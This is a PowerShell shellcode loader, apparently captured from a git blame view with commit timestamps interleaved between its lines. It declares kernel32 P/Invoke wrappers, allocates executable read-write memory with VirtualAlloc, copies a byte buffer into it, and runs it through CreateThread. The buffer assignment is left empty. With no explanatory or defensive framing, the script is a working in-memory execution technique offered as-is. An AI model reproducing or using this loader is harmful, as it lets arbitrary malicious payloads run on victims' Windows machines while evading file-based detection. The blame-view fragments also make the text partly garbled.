2024-12-11 22:05:18 +01:00
|
|
|
[Byte[]] $buf =
|
2024-12-11 21:37:47 +01:00
|
|
|
$VrtAlloc = @"
|
|
|
|
using System;
|
|
|
|
using System.Runtime.InteropServices;
|
|
|
|
public class VrtAlloc{
|
2024-12-11 20:46:58 +01:00
|
|
|
[DllImport("kernel32")]
|
2024-12-11 22:05:18 +01:00
|
|
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
2024-12-11 21:37:47 +01:00
|
|
|
}
|
|
|
|
"@
|
|
|
|
Add-Type $VrtAlloc
|
|
|
|
$WaitFor= @"
|
|
|
|
using System;
|
|
|
|
using System.Runtime.InteropServices;
|
|
|
|
public class WaitFor{
|
|
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
2024-12-11 22:05:18 +01:00
|
|
|
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
2024-12-11 21:37:47 +01:00
|
|
|
}
|
|
|
|
"@
|
|
|
|
Add-Type $WaitFor
|
|
|
|
$CrtThread= @"
|
|
|
|
using System;
|
|
|
|
using System.Runtime.InteropServices;
|
|
|
|
public class CrtThread{
|
2024-12-11 22:05:18 +01:00
|
|
|
[DllImport("kernel32", CharSet=CharSet.Ansi)]
|
|
|
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
2024-12-11 20:46:58 +01:00
|
|
|
}
|
|
|
|
"@
|
2024-12-11 22:05:18 +01:00
|
|
|
Add-Type $CrtThread
|
2024-12-11 21:37:47 +01:00
|
|
|
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
|
2024-12-11 20:46:58 +01:00
|
|
|
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
|
2024-12-11 21:37:47 +01:00
|
|
|
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
|
|
|
|
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
|
|
|
|
|